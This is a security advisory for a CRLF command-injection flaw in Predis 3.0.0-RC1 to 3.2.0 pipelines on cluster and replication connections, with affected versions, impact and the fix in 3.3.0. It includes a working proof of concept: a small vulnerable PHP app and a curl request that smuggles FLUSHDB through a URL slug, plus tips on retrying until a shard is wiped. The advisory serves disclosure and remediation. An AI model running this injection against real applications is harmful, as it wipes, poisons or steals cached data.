Predis: Redis command injection and denial of service via CRLF smuggling in pipelined commands on aggregate connections

Affected versions. Introduced in v3.0.0 by PR #1438 ("Improved pipeline abstractions"). Affected range: 3.0.0-RC1 through 3.2.0 (v3.0.0-alpha1 is not affected — the vulnerable code was added after it). v1.x and v2.x are not affected; their pipelines write per-command via writeRequest() and the vulnerable code path does not exist.

Only pipeline() reaches the vulnerable sink; transaction() / MULTI paths do not.

Proof of concept

Two plain redis:8 containers acting as two shards (PredisCluster shards client-side, so Redis itself need not be in cluster mode); a PHP app on a vulnerable Predis checkout (e.g. v3.2.0).

docker-compose.yml:

services:
  redis1:
    image: redis:8
    ports: ["6391:6379"]
  redis2:
    image: redis:8
    ports: ["6392:6379"]

index.php (a normal-looking app — slug from URL → cache lookup):

<?php
require __DIR__ . '/vendor/autoload.php';

$nodes  = ['tcp://127.0.0.1:6391', 'tcp://127.0.0.1:6392'];
$client = new Predis\Client($nodes, ['cluster' => 'predis',
            'parameters' => ['read_write_timeout' => 2]]);

if (isset($_GET['seed'])) {
    for ($i = 1; $i <= 100; $i++) { $client->set("user:$i", "data$i"); }
    exit('seeded');
}

$slug = $_GET['slug'] ?? '';
try {
    [$doc] = $client->pipeline()->get("slug:$slug")->execute();
    echo $doc ?: 'no such slug';
} catch (Throwable $e) {
    http_response_code(500);
    echo get_class($e);
}

Run:

composer require predis/predis:3.2.0
docker compose up -d
php -S 127.0.0.1:8080 -t .
curl 'http://127.0.0.1:8080/?seed'                       # 100 keys

Attack (smuggled FLUSHDB inside the slug):

curl 'http://127.0.0.1:8080/?slug=PAD4%0D%0A*1%0D%0A%247%0D%0AFLUSHDB'

The slug's first line must hash to a different shard than the fake key 'key' (otherwise the truncated bytes swallow the injection and the request simply 404s). With two shards this is ~50% per attempt — retry PAD0, PAD1, … until the request returns 500. More shards make the attack easier: the per-attempt hit probability is (N-1)/N, so on production clusters with many shards the first request succeeds with near-certainty.

Verified result: dbsize across both shards drops 100 → 62; one shard was wiped by a FLUSHDB the application never issued (it only ever ran GET/SET on normal keys). The fix was confirmed A/B: the same PoC wipes a shard on the parent of commit 053cb4b6 and fails on 053cb4b6.

Impact

CWE-93 (Improper Neutralization of CRLF Sequences) leading to Redis command injection / protocol smuggling and denial of service. Any application on predis/predis 3.0.0-RC1 – 3.2.0 that calls pipeline() on a cluster or replication connection and includes attacker-influenced data (values or keys — e.g. cache keys built from URL slugs) in the pipelined commands is affected. This is a common pattern for cache lookups, sessions and queued writes.

• Cluster: unauthenticated remote command injection — shard-wide cache wipe (FLUSHDB), targeted destruction (DEL), cache poisoning (SET), same-slot key theft (GET), node memory exhaustion (key flood), possible cluster outage (CLUSTER FLUSHSLOTS).
• Replication: reliable unauthenticated DoS on every affected request.

Remediation

Upgrade to predis/predis 3.3.0 or later. The fix (PR #1586, commit 053cb4b6) makes pipelines on aggregate connections write each command using the real Command object, eliminating the second, byte-splitting parser.

Users who cannot upgrade immediately should avoid calling pipeline() on aggregate (cluster / replication) connections with any attacker-influenced keys or values; there is no reliable in-application way to neutralize the embedded \r\n while the second parser remains in the code path.